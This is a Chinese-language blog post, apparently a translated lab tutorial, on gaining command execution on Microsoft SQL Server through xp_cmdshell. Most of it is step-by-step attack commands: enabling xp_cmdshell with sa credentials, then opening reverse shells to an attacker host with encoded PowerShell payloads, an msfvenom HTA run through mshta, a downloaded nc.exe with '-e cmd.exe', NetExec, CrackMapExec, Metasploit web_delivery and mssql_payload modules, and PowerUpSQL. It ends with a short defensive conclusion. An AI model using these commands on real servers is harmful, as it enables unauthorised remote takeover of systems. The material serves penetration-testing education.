跳至正文
大神K

编程技术 / Web开发 / AI学习笔记

大神K

编程技术 / Web开发 / AI学习笔记

  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
关

搜索

大神K

编程技术 / Web开发 / AI学习笔记

大神K

编程技术 / Web开发 / AI学习笔记

  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
  • 首页
  • AI
  • 运维
  • 漏洞
  • 安全
  • 逆向
  • 工具
  • 资源
    • 科学上网
  • 资讯
  • 🛒大神商城
  • ✨ 项目展示
  • 👋 关于我
关

搜索

家/网络安全与渗透/Pentester MSSQL:命令执行与 xp_cmdshell
网络安全与渗透

Pentester MSSQL:命令执行与 xp_cmdshell

作者 大神K
2026年4月19日 6 分钟阅读
0

xp_cmdshell命令执行 是一种强大的技术,适用于针对 SQL Server 环境Microsoft 渗透测试人员。 Microsoft 在 SQL Server 6.0(1995 )中引入了 T-SQL 的xp_cmdshell ,作为扩展存储过程的一部分,允许用户直接从 SQL Server 执行 操作系统命令 。 Transact-SQL(T-SQL) 是 Microsoft 使用的SQL扩展版本,通过过程式编程结构、流量控制语句以及额外的内置函数支持此功能。

接下来我们将深入探讨 xp_cmdshell 的细节,并探讨如何利用它执行 命令 。此外,我们还将讨论启用 xp_cmdshell 的不同方法,包括使用 图形界面(GUI)、sqsh 和 impacket-mssqlclient。

目录

  • 实验室设置
  • 启用xp_cmdshell(使用图形界面)
  • 启用xp_cmdshell(使用sqsh)
  • 启用xp_cmdshell(使用 impacket-mssqlclient)
  • 利用MSSQL(反向壳)
  • 使用逆壳发生器的反向壳体
  • 使用.hta 文件进行反向 shell
  • 使用netcat二进制的反壳层
  • 使用 Python 脚本进行反向 shell
  • 使用nxc的反向壳体
  • 使用 crackmapexec 和 metasploit 进行反向壳体
  • 使用 PowerUPSQL 执行命令
  • 结论

实验室设置

目标机器:Windows(MSSQL Server)(192.168.31.126)

攻击者机器:Kali Linux (192.168.31.141)

MSSQL服务器的设置可以通过以下步骤完成: https://hackingarticles.in/penetration-testing-lab-setupms-sql/

启用xp_cmdshell(使用图形界面)

设置完成后,我们可以继续启用 xp_cmdshell 。默认情况下, xp_cmdshell 在 MSSQL 服务器 中是禁用的,启用需要管理员权限。在这种情况下,我们将使用拥有管理员权限的SA用户。该账户在 SQL Server 环境中拥有最高权限级别,属于 系统管理员 固定服务器角色。

从使用 SA 账户登录MSSQL服务器开始。
Pasted image 20260419105409.png

一旦SQL实例以管理员权限运行,我们可以通过右键点击实例访问 分面 。在 Microsoft SQL Server 中, Facets 是 基于策略管理(PBM) 框架的核心部分。它们包含可配置以强制执行特定策略的逻辑属性。
Pasted image 20260419105420.png

接下来,点击 “面” 后,会出现一个新窗口。在该窗口中,选择 “表面积配置 ”。 表面积配置 指的是一组管理员可以管理的逻辑属性,用以控制 SQL Server 实例的配置和功能可用性。
Pasted image 20260419105425.png

在 表面面积配置 中,我们找到了 xp_cmdshell 选项,默认设置为False。值得注意的是, xp_cmdshell 创建了一个 Windows 进程 ,继承了与 SQL Server 服务 相同的 安全权限 。
Pasted image 20260419105430.png

要启用该功能,请将 xp_cmdshell 设为 True 。
Pasted image 20260419105435.png

然而,默认情况下,xp_cmdshell 在 MSSQL 服务器中仍被禁用,启用需要管理员权限。因此,我们将使用sp_configure存储过程通过 sqsh 实现xp_cmdshell。

启用xp_cmdshell(使用sqsh)

SQSH 是 Kali Linux 内置的工具。这里,我们将检查目标机器上是否启用了 xp_cmdshell 。但首先,我们将使用以下命令连接到MSSQL服务器:

sqsh -S 192.168.31.126 -U sa -P "Password@123"

建立连接后,执行以下命令以验证 xp_cmdshell 是否被启用:

xp_cmdshell 'whoami' ;
go

此时,我们注意到服务器已阻止访问 命令壳过程 。因此,我们将使用thesp_configure存储过程。 sp_configure 是 SQL Server 中的一个系统过程Microsoft用于查看或修改服务器级设置。要通过 sqsh 实现 xp_cmdshell ,我们需要依次执行以下命令:

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go
Pasted image 20260419105529.png

xp_cmdshell 命令执行

除了 sqsh,我们还可以使用 impacket-mssqlclient 来启用xp_cmdshell。同时,我们将使用Windows认证方法来认证为raj用户。

启用xp_cmdshell(使用 impacket-mssqlclient)

在最新版本的Microsoft MSSQL Server中,主要有三种认证方式:

  • Windows 认证
  • Microsoft Entra ID 认证
  • SQL Server 认证

这里我们将以 Raj 用户身份使用 Windows 认证 方法进行认证。
Pasted image 20260419105553.png

此外,我们还可以使用 impacket-mssqlclient 脚本登录系统,具体来说,我们使用以下命令进行 Windows 认证,使用 impacket-mssqlclient 脚本。

impacket-mssqlclient raj:'Password@1'@192.168.31.126 -windows-auth

登录后启用xp_cmdshell,请使用以下命令:

enable_xp_cmdshell
xp_cmdshell whoami
Pasted image 20260419105559.png

xp_cmdshell 命令执行

接下来,我们将讨论利用 MSSQL 的不同方法,包括使用反向 shell 生成器、.hta 文件、netcat 二进制、python 脚本、nxc、crackmapexec 和 metasploit。此外,我们还会使用 PowerUPSQL 在目标系统上执行命令。

利用MSSQL(反向壳)

利用 MSSQL 服务器 有多种方法。这些方法包括通过命令执行直接进行 反向 shell 、利用 Metasploit 利用,或利用 反向 shell 生成器脚本 。在本节中,我们将详细讨论每种方法。

使用逆壳发生器的反向壳体

一种常见的方法是直接在 xp_cmdshell 中使用 反向 shell 命令 。你可以从这里复制所需的有效载荷: https://www.revshells.com/

同时,我们可以在 Kali机器 的 4444 端口启动监听器,并将 PowerShell编码的负载 复制到 xp_cmdshell 。这里,我们使用的是 PowerShell #3(Base64) 负载。
Pasted image 20260419105627.png

接着,在 shell 内粘贴整个 payload 的 xp_cmdshell 命令后。
Pasted image 20260419105645.png

xp_cmdshell 命令执行

注意,一旦 有效载荷通过 xp_cmdshell 执行,端口4444成功建立 反向shell连接 。

rlwrap nc -lvnp 4444
Pasted image 20260419105649.png

使用.hta 文件进行反向 shell

.hta (HTML 应用)文件是一个独立的基于脚本的程序,使用 HTML 创建,并使用 mshta.exe(Microsoft HTML Application Host) 执行。在 SQL Server 的 xp_cmdshell 语境中,.hta 文件可以通过 VBScript、JavaScript 或其他基于 HTML 的技术执行脚本或命令。

我们可以在 Kali Linux 中使用 msfvenom 工具生成**.hta** 文件 ,然后用 xp_cmdshell 上传到目标系统,从而获得 反向shell 。

以下是msfvenom的命令:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.31.141 lport=1234 -f hta-psh > shell.hta
Pasted image 20260419105701.png


xp_cmdshell 命令执行

shell.hta 文件可以通过 mshta 服务直接从该xp_cmdshell执行。

xp_cmdshell将使用以下命令:

xp_cmdshell "mshta http://192.168.31.141/shell.hta"
Pasted image 20260419105715.png

注意,在xp_cmdshell执行命令后,反向弹壳是在端口1234获得的。

rlwrap nc -lvnp 1234
Pasted image 20260419105724.png

使用netcat二进制的反壳层

Kali Linux 提供内置 兼容 Windows 的二进制文件 。其中一个二进制文件是 nc.exe ( Netcat ),位于 /usr/share/windows-binariries 。我们可以用 xp_cmdshell 把 nc.exe 文件上传到目标系统。

cd /usr/share/windows-binaries
ls -al
updog -p 80
Pasted image 20260419105729.png

xp_cmdshell 命令执行

在xp_cmdshell中可以执行以下命令,将nc.exe二进制文件上传到目标系统,然后执行该二进制文件以获得反向 shell。

xp_cmdshell "powershell wget http://192.168.31.141/nc.exe -OutFile c:\UsersPublic\nc.exe"
xp_cmdshell  "c:\UsersPublic\nc.exe -e cmd.exe 192.168.31.141 8888"
Pasted image 20260419105749.png

注意,反向壳体是在Kali机的8888端口获得的。

RLWRAP 北卡 -LVNP 8888

rlwrap nc -lvnp 8888

rlwrap nc -lvnp 8888
Pasted image 20260419105824.png

xp_cmdshell 命令执行

使用 Python 脚本进行反向 shell

或者,Python 脚本 可以生成 反向 shell 负载。该有效载荷可在 xp_cmdshell 内建立反向壳连接。你可以从这里下载剧本:

https://gist.github.com/tothi/ab288fb523a4b32b51a53e542d40fe58

该脚本需要两个参数——攻击者的IP地址和监听者的端口号。请使用以下命令用 Python 脚本 生成负载:

python3 mkpsrevshell.py 192.168.31.141 9999
Pasted image 20260419105838.png


xp_cmdshell 命令执行

同时,我们直接利用脚本在xp_cmdshell中生成的输出,在端口9999获得反向shell。
Pasted image 20260419105858.png

反向弹壳是在xp_cmdshell执行命令后获得的。

rlwrap nc -lvnp 9999
Pasted image 20260419105903.png

xp_cmdshell 命令执行

使用nxc的反向壳体

nxc(NetExec) ——CrackMapExec的继任者——是一款网络服务利用工具,允许用户上传和下载文件。在这种情况下,我们将使用 nxc 将nc.exe上传到目标系统,并建立 反向 shell 。

cd /usr/share/windows-binaries
ls -al
nxc mssql 192.168.31.126 -u "raj" -p "Password@1" --put-file nc.exe c:\Users\Public\nc.exe
Pasted image 20260419105909.png

我们使用 nxc 将nc.exe二进制文件上传到目标系统,并执行系统级命令建立反向 shell。

nxc mssql 192.168.31.126 -u "raj" -p "Password@1" -x "c:\Users\Public\nc.exe -e cmd.exe 192.168.31.141 6666"
Pasted image 20260419105922.png


xp_cmdshell 命令执行

与此同时,我们在Kali机器的6666端口获得了反向外壳,因此可以远程访问系统。

rlwrap nc -lvnp 6666
Pasted image 20260419105932.png


使用 crackmapexec 和 metasploit 进行反向壳体

此外, Metasploit 还包含一种 网页分发漏洞 ,可以生成一个用于将文件传输到目标系统的 URL 。您可以使用以下命令来实现这一技术:

msfconsole -q
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.31.141
run
Pasted image 20260419105946.png

xp_cmdshell 命令执行

一旦漏洞运行,你会注意到 Metasploit 生成了一个托管有效载荷的 URL 。你可以用 crackmapexec 工具来执行 反向 shell 。

在这个例子中,有效载荷的地址是:
http://192.168.31.141:8080/TrBYNRKFCChZSz

crackmapexec mssql 192.168.31.126 -u "raj" -p "Password@1" -M web_delivery -o URL=http://192.168.31.141:8080/TrBYNRKFCChZSz
Pasted image 20260419110003.png

接下来,通过 crackmapexec 的 网页交付模块 访问生成的 URL。注意,访问时会启动 Meterpreter会话 。
Pasted image 20260419110032.png

xp_cmdshell 命令执行

此外,你还可以使用 Metasploit 中的 mssql_payload 漏洞。一旦执行该漏洞,该漏洞会开启 一个Meterpreter会话 。请使用以下命令来运行该模块:

use exploit/windows/mssql/mssql_payload
set rhost 192.168.31.126
set database master
set username sa
set password Password@123
run
Pasted image 20260419110039.png

我们执行了漏洞利用,随后获得了 Meterpreter 会话,从而获得了系统访问权限。
Pasted image 20260419110055.png

xp_cmdshell 命令执行

此外,另一种可行的方法是在 Metasploit 中使用 mssql_exec漏洞 。因此,攻击者通过这种方法手动输入命令,并在建立连接后显示输出。

以下是使用该漏洞的命令:

use auxiliary/admin/mssql/mssql_exec
set rhost 192.168.31.126
set database master
set username sa
set password Password@123
set cmd "ipconfig"
run
Pasted image 20260419110121.png

使用 PowerUPSQL 执行命令

渗透测试人员和安全专业人员使用 PowerUpSQL 来审计和评估 SQL Server 实例。 它具备在企业网络中发现、枚举和利用 SQL Server 环境 的能力。你可以从以下网站下载剧本: https://github.com/NetSPI/PowerUpSQL

我们积极利用 PowerUpSQL 来审计和评估 SQL Server 实例,随后核实用户是否拥有 系统管理员 权限,并检查 xp_cmdshell 状态。

最后,在 获得初始外壳后 ,你可以在目标系统上使用以下 PowerShell 命令 :

powershell
powershell -ep bypass
Import-Module .PowerUpSQL.ps1
Invoke-SQLOSCmd -Username sa -Password Password@123 -Instance WIN-JE6KIAEEJ09SQLEXPRESS -Command whoami -Verbose

Pasted image 20260419110127.png
xp_cmdshell 命令执行

结论

总之, xp_cmdshell 代表 了Microsoft为MSSQL Server 提供的一项非常有用的功能。然而,当配置错误时,它允许攻击者执行系统级命令。因此,组织必须确保在任何情况下都不泄露系统管理员凭证,因为泄露这些凭据可能导致未经授权的 xp_cmdshell命令 执行,从而实现远程命令的执行。

📌 版权声明

文章作者:大神K

原文链接:https://dashenk.com/2026/04/19/pentester-mssql%ef%bc%9a%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c%e4%b8%8e-xp_cmdshell/

版权说明:本文为原创内容,转载请注明出处。

标签:

MSSQL攻击xp_cmdshell
作者

大神K

我是一个长期在技术与赚钱之间反复横跳的人。 做过网站、搞过SEO、写过程序,也踩过币圈的坑。 现在在做的事情很简单: 用 AI + 技术,把复杂的事情变简单,把一个人变成一支队伍。 这个网站,不是教程站,而是我的「操作记录」。 一个站长如何做 SEO 和流量 一个开发者如何用 AI 提高效率 一个交易者如何系统性构建赚钱模型 只讲能落地的方案,分享: 真实经验 + 踩过的坑 在这个时代,一个人,也可以是一家公司。

关注我
其他文章
上一个

只需10步HERMES配上NVIDIA免费Minimax-m2.7大模型

下一个

撸毛界的祖师爷,100万美金到手

暂无评论!成为第一个。

发表回复 取消回复

您的邮箱地址不会被公开。 必填项已用 * 标注

广告 × 广告
广告 × 广告
广告 × 广告
广告 × 广告

Agent AI写作 AI利用 AI变现 AI大模型 AI工具 ChatGPT Claude Cloudflare CVE Epusdt Gemma4 GEO技术 GitHub GPT GPT-Image-2 Hermes Image-2 Linux MacOS系统 OpenClaw POC RackNerd Skills VPS Windows 下载利器 两性 云主机购买 免费工具 免费模型 大龙虾 小红书 工具使用 开源免费 提示词 教学 教程 本地运行 梯子 漏洞 爬虫工具 谷歌 资源下载 黑客工具

大神K
🚀 AI工具|建站教程|副业变现
用技术改变收入结构
免费获取AI工具合集 →
© 2026 大神K · AI Tools & Growth System